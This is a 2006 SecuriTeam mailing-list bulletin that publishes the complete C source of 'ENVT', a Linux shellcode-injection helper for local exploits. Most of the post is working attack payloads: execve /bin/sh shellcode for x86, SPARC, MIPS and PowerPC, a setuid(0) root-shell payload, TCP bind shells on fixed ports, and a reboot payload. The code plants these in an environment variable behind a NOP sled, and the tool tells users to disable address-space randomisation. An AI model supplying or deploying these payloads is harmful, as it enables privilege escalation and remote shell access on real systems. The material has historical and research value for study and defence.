[TOOL] ENVT Linux Shellcode Injector
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 19 Sep 2006 17:37:03 +0200
Subject: [TOOL] ENVT Linux Shellcode Injector
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060919152616.A94FA5814@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
ENVT Linux Shellcode Injector
------------------------------------------------------------------------
SUMMARY
DETAILS
This simple tool will inject a linux shellcode into the environment and
find its location in memory.
There are 8 shellcodes for various platforms like x86, sparc, mips and
ppc.
Most update source code of the tools is available here:
<http://www.gmx.net.qa/envt.c> http://www.gmx.net.qa/envt.c
Tool sourcecode:
/**
*
* Qnix <Qnix@bsdmail.org.>
* ENVT v0.03
*
*************************************************************************
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
along
* with this program; if not, write to the Free Software Foundation,
Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*************************************************************************
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define VERSION "v0.3"
#define MAX_SIZE 1024
#define SHSIZE 512
#define bash "/bin/bash"
/* Prototype */
void getenvaddr(char *environment);
void help(char *string);
void setshenv(int shellcode);
int shellcode_create(char shspace[],char shellcode[], char *shname);
/****************** START OF SHELLCODES ******************/
char execve_binbash[] =
"\x31\xc0" // xor %eax, %eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\x31\xd2" // xor %edx, %edx
"\xb0\x0b" // mov $0xb, %al
"\xcd\x80"; // int $0x80
char execve_setuid_setgid_bb[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80
"\x6a\x2e" // push $0x2e
"\x58" // pop %eax
"\x53" // push %ebx
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
char portbind_64713[] =
/* socket(AF_INET, SOCK_STREAM, 0) */
"\x6a\x66" // push $0x66
"\x58" // pop %eax
"\x6a\x01" // push $0x1
"\x5b" // pop %ebx
"\x99" // cltd
"\x52" // push %edx
"\x53" // push %ebx
"\x6a\x02" // push $0x2
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
/* bind(s, server, sizeof(server)) */
"\x52" // push %edx
"\x66\x68\xfc\xc9" // pushw $0xc9fc // PORT = 64713
"\x66\x6a\x02" // pushw $0x2
"\x89\xe1" // mov $esp,%ecx
"\x6a\x10" // push $0x10
"\x51" // push %ecx
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\x89\xc6" // mov %eax,%esi
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
/* listen(s, anything) */
"\xb0\x66" // mov $0x66,%al
"\xd1\xe3" // shl %ebx
"\xcd\x80" // int $0x80
/* accept(s, 0, 0) */
"\x52" // push %edx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\x43" // inc %ebx
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
/* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
"\x6a\x02" // push $0x2
"\x59" // pop %ecx
"\xb0\x3f" // mov $0x3f,%al
"\xcd\x80" // int $0x80
"\x49" // dec %ecx
"\x79\xf9" // jns dup_loop
/* execve("/bin/sh", ["/bin/sh"], NULL) */
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
char reboot_20[] =
"\x6a\x58" // push $0x58
"\x58" // pop %eax
"\xbb\xad\xde\xe1\xfe" // mov $0xfee1dead,%ebx
"\xb9\x69\x19\x12\x28" // mov $0x28121969,%ecx
"\xba\x67\x45\x23\x01" // mov $0x1234567,%edx
"\xcd\x80"; // int $0x80
char sparc_portbind[]=
"\x9d\xe3\xbf\x78" // save %sp, -136, %sp
"\x90\x10\x20\x02" // mov 2, %o0
"\x92\x10\x20\x01" // mov 1, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\xd0\x23\xa0\x44" // st %o0, [ %sp + 0x44 ]
"\xd2\x23\xa0\x48" // st %o1, [ %sp + 0x48 ]
"\xd4\x23\xa0\x4c" // st %o2, [ %sp + 0x4c ]
"\x90\x10\x20\x01" // mov 1, %o0
"\x92\x03\xa0\x44" // add %sp, 0x44, %o1
"\x82\x10\x20\xce" // mov 0xce, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\xd0\x27\xbf\xf4" // st %o0, [ %fp + -12 ]
"\x90\x10\x20\x02" // mov 2, %o0
"\xd0\x37\xbf\xd8" // sth %o0, [ %fp + -40 ]
"\x13\x08\xc8\xc8" // sethi %hi(0x23232000), %o1
"\x90\x12\x63\x0f" // or %o1, 0x30f, %o0
"\xd0\x37\xbf\xda" // sth %o0, [ %fp + -38 ]
"\xc0\x27\xbf\xdc" // clr [ %fp + -36 ]
"\x92\x07\xbf\xd8" // add %fp, -40, %o1
"\xd0\x07\xbf\xf4" // ld [ %fp + -12 ], %o0
"\x94\x10\x20\x10" // mov 0x10, %o2
"\xd0\x23\xa0\x44" // st %o0, [ %sp + 0x44 ]
"\xd2\x23\xa0\x48" // st %o1, [ %sp + 0x48 ]
"\xd4\x23\xa0\x4c" // st %o2, [ %sp + 0x4c ]
"\x90\x10\x20\x02" // mov 2, %o0
"\x92\x03\xa0\x44" // add %sp, 0x44, %o1
"\x82\x10\x20\xce" // mov 0xce, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\xd0\x07\xbf\xf4" // ld [ %fp + -12 ], %o0
"\x92\x10\x20\x05" // mov 5, %o1
"\xd0\x23\xa0\x44" // st %o0, [ %sp + 0x44 ]
"\xd2\x23\xa0\x48" // st %o1, [ %sp + 0x48 ]
"\x90\x10\x20\x04" // mov 4, %o0
"\x92\x03\xa0\x44" // add %sp, 0x44, %o1
"\x82\x10\x20\xce" // mov 0xce, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\x92\x07\xbf\xd8" // add %fp, -40, %o1
"\x94\x07\xbf\xec" // add %fp, -20, %o2
"\xd0\x07\xbf\xf4" // ld [ %fp + -12 ], %o0
"\xd0\x23\xa0\x44" // st %o0, [ %sp + 0x44 ]
"\xd2\x23\xa0\x48" // st %o1, [ %sp + 0x48 ]
"\xd4\x23\xa0\x4c" // st %o2, [ %sp + 0x4c ]
"\x90\x10\x20\x05" // mov 5, %o0
"\x92\x03\xa0\x44" // add %sp, 0x44, %o1
"\x82\x10\x20\xce" // mov 0xce, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\xd0\x27\xbf\xf0" // st %o0, [ %fp + -16 ]
"\xd0\x07\xbf\xf0" // ld [ %fp + -16 ], %o0
"\x92\x22\x40\x09" // sub %o1, %o1, %o1
"\x82\x10\x20\x5a" // mov 0x5a, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\xd0\x07\xbf\xf0" // ld [ %fp + -16 ], %o0
"\x92\x10\x20\x01" // mov 1, %o1
"\x82\x10\x20\x5a" // mov 0x5a, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\xd0\x07\xbf\xf0" // ld [ %fp + -16 ], %o0
"\x92\x10\x20\x02" // mov 2, %o1
"\x82\x10\x20\x5a" // mov 0x5a, %g1
"\x91\xd0\x20\x10" // ta 0x10
"\x2d\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l6
"\xac\x15\xa1\x6e" // or %l6, 0x16e, %l6
"\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
"\x90\x0b\x80\x0e" // and %sp, %sp, %o0
"\x92\x03\xa0\x08" // add %sp, 8, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x9c\x03\xa0\x10" // add %sp, 0x10, %sp
"\xec\x3b\xbf\xf0" // std %l6, [ %sp + -16 ]
"\xd0\x23\xbf\xf8" // st %o0, [ %sp + -8 ]
"\xc0\x23\xbf\xfc" // clr [ %sp + -4 ]
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x10"; // ta 0x10
char mips_sh[] =
/* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
"\xff\xff\x10\x04\xab\x0f\x02\x24"
"\x55\xf0\x46\x20\x66\x06\xff\x23"
"\xc2\xf9\xec\x23\x66\x06\xbd\x23"
"\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
"\x9a\xf9\xbd\x23\x21\x20\x80\x01"
"\x21\x28\xa0\x03\xcc\xcd\x44\x03"
"/bin/sh";
char ppc_sh[] =
"\x7c\x3f\x0b\x78" /*mr r31,r1*/
"\x7c\xa5\x2a\x79" /*xor. r5,r5,r5*/
"\x42\x40\xff\xf9" /*bdzl+ 10000454<main>*/
"\x7f\x08\x02\xa6" /*mflr r24*/
"\x3b\x18\x01\x34" /*addi r24,r24,308*/
"\x98\xb8\xfe\xfb" /*stb r5,-261(r24)*/
"\x38\x78\xfe\xf4" /*addi r3,r24,-268*/
"\x90\x61\xff\xf8" /*stw r3,-8(r1)*/
"\x38\x81\xff\xf8" /*addi r4,r1,-8*/
"\x90\xa1\xff\xfc" /*stw r5,-4(r1)*/
"\x3b\xc0\x01\x60" /*li r30,352*/
"\x7f\xc0\x2e\x70" /*srawi r0,r30,5*/
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
"/bin/shZ"; // the last byte becomes NULL
char stdin_reopen[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char helloworld[] =
"\x31\xc0\xbb\x01\x00\x00\x00\x50\x68\x6f\x72\x6c\x64\x68\x6c"
"\x6f\x20\x57\x68\x48\x65\x6c\x00\x54\x59\xba\x10\x00\x00\x00"
"\xb0\x04\xcd\x80\xb0\x01\x89\xc3\xcd\x80";
/****************** END OF SHELLCODES ******************/
/* Main .
*
* */
int main(int argc, char *argv[]) {
char *vapatch_string[MAX_SIZE];
int c;
char buf1[MAX_SIZE];
char *addr = getenv("ENVT");
int buf1i;
extern char *optarg;
extern int optind, optopt;
FILE *vapatch;
vapatch = fopen("/proc/sys/kernel/randomize_va_space","r");
if(vapatch == NULL ) {
fprintf(stdout,"[*] Cannot find VA patch ... good\n");
} else {
fprintf(stdout,"[*] VA patch found\n");
fscanf(vapatch,"%s", vapatch_string);
}
if(atoi(vapatch_string) == 1) {
fprintf(stderr,"[*] VA patch is enabled\n");
fprintf(stderr,"\nplease disable it by setting
/proc/sys/kernel/randomize_va_space to 0\n\n");
return -1;
} else {
fprintf(stdout,"[*] VA patch is disabled .. good\n");
}
if(addr != NULL) {
getenvaddr(addr);
exit(0);
}
if(argc < 2) {
help(argv[0]);
}
while((c = getopt(argc, argv, ":s:lhv")) != -1) {
switch(c) {
case 'v':
version();
break;
case 'h':
help(argv[0]);
case 'l':
shellcode_list();
break;
case 's':
strncpy(buf1,optarg,MAX_SIZE-1);
buf1i = atoi(buf1);
setshenv(buf1i);
break;
case ':':
fprintf(stderr,"Option -%c requires an operand\n",optopt);
break;
}
}
return(0);
}
/*
* Display version .
*
* */
int version() {
fprintf(stdout,"ENVT %s\n",VERSION);
fprintf(stdout,"Coded by Qnix <Qnix@bsdmail.org.>\n");
exit(0);
}
/*
* Display help .
*
* */
void getenvaddr(char *environment) {
fprintf(stdout,"SHELLCODE FOUND IN %p\n",environment);
}
void help(char *string) {
fprintf(stderr,"\nUsage :
%s\n-l:(shellcode-list)\n-s:<shellcode-number>\n-h:(help)\n-v:(version)\n",string);
exit(0);
}
/*
* Display shellcode list .
*
* */
int shellcode_list() {
/* 0x86 sec. */
fprintf(stdout,"\n\t\t\t::[ LINUX/x86 ]::\n");
fprintf(stdout,"1) linux/x86 execve(\"/bin/sh\", [\"/bin/sh\", NULL]) 25
bytes\n");
fprintf(stdout,"2) linux/x86 setuid(0),setgid(0) execve(/bin/sh,
[/bin/sh, NULL]) 37 bytes\n");
fprintf(stdout,"3) linux/x86 portbind (port 64713) 86 bytes\n");
fprintf(stdout,"4) linux/x86 reboot() - 20 bytes\n");
fprintf(stdout,"5) linux/x86 stdin re-open shellcode\n");
fprintf(stdout,"6) linux/x86 print helloworld 40 bytes\n\n");
/* sparc sec. */
fprintf(stdout,"\t\t\t::[ LINUX/SPARC ]::\n");
fprintf(stdout,"7) linux/SPARC portbind port 8975 284 bytes\n\n");
/* mips sec. */
fprintf(stdout,"\t\t\t::[ LINUX/MIPS ]::\n");
fprintf(stdout,"8) linux/mips execve /bin/sh 56 bytes\n\n");
/* PPC sec. */
fprintf(stdout,"\t\t\t::[ LINUX/PPC ]::\n");
fprintf(stdout,"9) linux/ppc execve /bin/sh 60 bytes\n\n");
exit(0);
}
/*
* Set Shellcode in environment .
*
* */
void setshenv(int shellcode) {
char *addr = getenv("ENVT"); // Use to get shellcode addr
char execvebb[SHSIZE]; // Use for shellcode(1)
char setugbb[SHSIZE]; // Use for shellcode(2)
char portbind[SHSIZE]; // Use for shellcode(3)
char reboot[SHSIZE]; // Use for shellcode(4)
char stdinreo[SHSIZE]; // Use for shellcode(5)
char sparc1[SHSIZE]; // Use for shellcode(6)
char mips1[SHSIZE]; // Use for shellcode(7)
char ppc1[SHSIZE]; // Use for shellcode(8)
char hw[SHSIZE]; // Use for shellcode(9)
if(shellcode > 9) {
fprintf(stderr,"Error : shellcode number %d unavailable type -l to
view\nthe available shellcodes.\n",shellcode);
exit(0);
}
/* Shellcode number 1 */
if(shellcode == 1) {
shellcode_create(execvebb, execve_binbash, "Linux/x86
execve(\"/bin/sh\", [\"/bin/sh\", NULL]) 25 bytes\n");
}
/* Shellcode number 2 */
if(shellcode == 2) {
shellcode_create(setugbb, execve_setuid_setgid_bb, "linux/x86
setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes\n");
}
/* Shellcode number 3 */
if(shellcode == 3) {
shellcode_create(portbind, portbind_64713, "linux/x86 portbind (port
64713) 86 bytes\n");
}
/* Shellcode number 4 */
if(shellcode == 4) {
shellcode_create(reboot,reboot_20,"linux/x86 reboot() - 20 bytes\n");
}
/* Shellcode number 5 */
if(shellcode == 5) {
shellcode_create(stdinreo,stdin_reopen,"linux/x86 stdin re-open
shellcode\n");
}
/* Shellcode number 6 */
if(shellcode == 6) {
shellcode_create(hw, helloworld, "linux/x86 print
helloworld 40 bytes\n");
}
/* Shellcode number 7 */
if(shellcode == 7) {
shellcode_create(sparc1, sparc_portbind, "linux/SPARC portbind port 8975
284 bytes\n");
}
/* Shellcode number 8 */
if(shellcode == 8) {
shellcode_create(mips1, mips_sh, "linux/mips execve /bin/sh 56
bytes\n");
}
/* Shellcode number 9 */
if(shellcode == 9) {
shellcode_create(ppc1,ppc_sh,"linux/ppc execve /bin/sh 60 bytes\n");
}
}
int shellcode_create(char shspace[],char shellcode[], char *shname) {
fprintf(stdout,"Shellcode: %s",shname);
fprintf(stdout,"[+]\t Setting memory for shellcode.\n");
memset(shspace, 0x90, SHSIZE);
fprintf(stdout,"[+]\t Copying shellcode to memory.\n");
memcpy(&shspace[SHSIZE-strlen(shellcode)], shellcode, strlen(shellcode));
memcpy(shspace, "ENVT=", 5);
fprintf(stdout,"[+]\t Putting shellcode in the environment.\n");
putenv(shspace);
fprintf(stdout,"[+]\t Going into the environment (ENVT) and exiting
...\nDone %d bytes loaded to (ENVT)\n",strlen(shellcode));
fprintf(stdout,"(run envt again to get the address of the
shellcode)\n)");
execl(bash, bash, '\0');
exit(0);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:qnix@bsdmail.org.> Qnix.
To keep updated with the tool visit the project's homepage at:
<http://www.gmx.net.qa/envt.c> http://www.gmx.net.qa/envt.c
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.